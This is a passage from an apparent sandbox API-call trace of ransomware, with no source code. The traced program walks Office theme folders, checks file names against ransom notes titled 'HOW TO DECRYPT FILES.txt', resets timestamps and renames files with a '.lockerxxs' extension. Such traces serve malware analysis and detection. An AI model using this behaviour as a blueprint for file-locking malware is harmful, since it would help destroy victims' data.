wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.935] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.935] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.935] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.938] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.938] CloseHandle (hObject=0x90) returned 1 [0058.938] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\thmbnail.png.lockerxxs")) returned 1 [0058.940] FindNextFileA (in: hFindFile=0x4f81e8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x780074, dwReserved1=0x74, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.941] FindClose (in: hFindFile=0x4f81e8 | out: hFindFile=0x4f81e8) returned 1 [0058.941] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8228, dwReserved1=0x3, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0058.941] lstrcmpA (lpString1=".", lpString2="BLUECALM") returned -1 [0058.941] lstrcmpA (lpString1="..", lpString2="BLUECALM") returned -1 [0058.941] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0058.941] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.941] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.941] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.941] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.941] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0058.941] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.941] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLUECALM.ELM") returned 1 [0058.941] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLUECALM.ELM") returned 1 [0058.941] lstrcmpiA (lpString1="", lpString2="BLUECALM.ELM") returned -1 [0058.945] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.945] CloseHandle (hObject=0x90) returned 1 [0058.945] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\", lpString2="BLUECALM.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" [0058.945] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM", pszSpec="*.ems") returned 0 [0058.945] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0058.945] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.945] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLUECALM.INF") returned 1 [0058.945] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLUECALM.INF") returned 1 [0058.945] lstrcmpiA (lpString1="", lpString2="BLUECALM.INF") returned -1 [0058.946] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.946] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.946] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.946] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.946] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.946] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.946] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.946] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.946] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.946] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.950] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.950] CloseHandle (hObject=0x90) returned 1 [0058.950] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.lockerxxs")) returned 1 [0058.951] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.951] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0058.951] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0058.951] lstrcmpA (lpString1=".", lpString2="BLUEPRNT") returned -1 [0058.951] lstrcmpA (lpString1="..", lpString2="BLUEPRNT") returned -1 [0058.951] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0058.952] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.952] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.952] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.952] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.952] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0058.952] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.952] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLUEPRNT.ELM") returned 1 [0058.952] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLUEPRNT.ELM") returned 1 [0058.952] lstrcmpiA (lpString1="", lpString2="BLUEPRNT.ELM") returned -1 [0058.956] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.956] CloseHandle (hObject=0x90) returned 1 [0058.956] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\", lpString2="BLUEPRNT.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" [0058.956] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM", pszSpec="*.ems") returned 0 [0058.956] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0058.956] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BLUEPRNT.INF") returned 1 [0058.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BLUEPRNT.INF") returned 1 [0058.957] lstrcmpiA (lpString1="", lpString2="BLUEPRNT.INF") returned -1 [0058.957] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.957] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PREVIEW.GIF") returned -1 [0058.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PREVIEW.GIF") returned -1 [0058.957] lstrcmpiA (lpString1="", lpString2="PREVIEW.GIF") returned -1 [0058.957] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.957] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.957] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.957] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="THMBNAIL.PNG") returned -1 [0058.957] lstrcmpiA (lpString1="", lpString2="THMBNAIL.PNG") returned -1 [0058.961] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.961] CloseHandle (hObject=0x90) returned 1 [0058.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.lockerxxs")) returned 1 [0058.962] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.962] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0058.962] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f8230, dwReserved1=0x3, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0058.962] lstrcmpA (lpString1=".", lpString2="BOLDSTRI") returned -1 [0058.962] lstrcmpA (lpString1="..", lpString2="BOLDSTRI") returned -1 [0058.962] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x4f8158, cFileName=".", cAlternateFileName="")) returned 0x4f81f0 [0058.963] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.963] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.964] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.964] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.964] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0058.964] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.964] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BOLDSTRI.ELM") returned 1 [0058.964] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BOLDSTRI.ELM") returned 1 [0058.964] lstrcmpiA (lpString1="", lpString2="BOLDSTRI.ELM") returned -1 [0058.967] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.968] CloseHandle (hObject=0x90) returned 1 [0058.968] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\", lpString2="BOLDSTRI.ELM" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" [0058.968] PathMatchSpecA (pszFile="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM", pszSpec="*.ems") returned 0 [0058.968] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x4f8518, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0058.968] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.968] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BOLDSTRI.INF") returned 1 [0058.968] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BOLDSTRI.INF") returned 1 [0058.968] lstrcmpiA (lpString1="", lpString2="BOLDSTRI.INF") returned -1 [0058.968] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.969] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.969] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.969] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.972] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0058.972] CloseHandle (hObject=0x90) returned 1 [0058.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.lockerxxs" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.lockerxxs")) returned 1 [0058.973] FindNextFileA (in: hFindFile=0x4f81f0, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x2e0053, dwReserved1=0x780074, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.973] FindClose (in: hFindFile=0x4f81f0 | out: hFindFile=0x4f81f0) returned 1 [0058.973] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 